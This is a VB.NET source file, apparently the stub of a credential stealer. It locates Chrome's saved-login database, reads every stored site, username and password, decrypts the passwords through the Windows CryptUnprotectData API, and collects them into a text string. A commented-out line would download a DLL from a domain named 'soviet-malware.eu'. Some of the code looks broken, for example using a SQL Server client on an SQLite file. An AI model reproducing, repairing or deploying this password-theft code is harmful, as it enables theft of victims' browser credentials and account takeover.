Imports System.Runtime.InteropServices
Imports System.IO
Imports System.Text
Imports stub.SQLiteWrapper

Public Class Chromer
    Public Shared cPass As String
    Public Shared Function GetChrome()
        'My.Computer.Network.DownloadFile("http://soviet-malware.eu/System.Data.SQLite.DLL", Application.StartupPath & "\System.Data.SQLite.DLL")
        Try
            Dim datapath As String = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + "\Google\Chrome\User Data\Default\Web Data"
            If File.Exists(datapath) Then
                Dim SQLconnect As New SqlClient.SqlConnection()
                Dim SQLcommand As SqlClient.SqlCommand
                SQLconnect.ConnectionString = "Data Source=" + datapath + ";"
                SQLconnect.Open()
                SQLcommand = SQLconnect.CreateCommand
                SQLcommand.CommandText = "SELECT * FROM logins"
                Dim SQLreader As SqlClient.SqlDataReader = SQLcommand.ExecuteReader()
                Dim host, user, pass As String
                While SQLreader.Read()
                    host = SQLreader("origin_url")
                    user = SQLreader("username_value")
                    pass = Decrypt(SQLreader("password_value"))
                    If (user <> "") And (pass <> "") Then
                        Dim pss As New ListViewItem
                        pss.Text = host
                        cPass = ("============Chrome==============" & vbNewLine & "Host: " & host & vbNewLine & "Username: " & user & vbNewLine & "Password: " & pass & vbNewLine & "=============================" _
                        & vbNewLine & " ")
                    End If
                End While
                SQLcommand.Dispose()
                SQLconnect.Close()
            End If
        Catch e As Exception
            MsgBox(e.ToString)
        End Try
    End Function
    <DllImport("Crypt32.dll", SetLastError:=True, CharSet:=System.Runtime.InteropServices.CharSet.Auto)> _
    Private Shared Function CryptUnprotectData(ByRef pDataIn As DATA_BLOB, ByVal szDataDescr As String, ByRef pOptionalEntropy As DATA_BLOB, ByVal pvReserved As IntPtr, ByRef pPromptStruct As CRYPTPROTECT_PROMPTSTRUCT, ByVal dwFlags As Integer, ByRef pDataOut As DATA_BLOB) As Boolean
    End Function
    <Flags()> Enum CryptProtectPromptFlags
        CRYPTPROTECT_PROMPT_ON_UNPROTECT = &H1
        CRYPTPROTECT_PROMPT_ON_PROTECT = &H2
    End Enum
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure CRYPTPROTECT_PROMPTSTRUCT
        Public cbSize As Integer
        Public dwPromptFlags As CryptProtectPromptFlags
        Public hwndApp As IntPtr
        Public szPrompt As String
    End Structure
    <StructLayout(LayoutKind.Sequential, CharSet:=CharSet.Unicode)> Structure DATA_BLOB
        Public cbData As Integer
        Public pbData As IntPtr
    End Structure
    Shared Function Decrypt(ByVal Datas() As Byte) As String
        Dim inj, Ors As New DATA_BLOB
        Dim Ghandle As GCHandle = GCHandle.Alloc(Datas, GCHandleType.Pinned)
        inj.pbData = Ghandle.AddrOfPinnedObject()
        inj.cbData = Datas.Length
        Ghandle.Free()
        CryptUnprotectData(inj, Nothing, Nothing, Nothing, Nothing, 0, Ors)
        Dim Returned() As Byte = New Byte(Ors.cbData) {}
        Marshal.Copy(Ors.pbData, Returned, 0, Ors.cbData)
        Dim TheString As String = Encoding.Default.GetString(Returned)
        Return TheString.Substring(0, TheString.Length - 1)
    End Function
End Class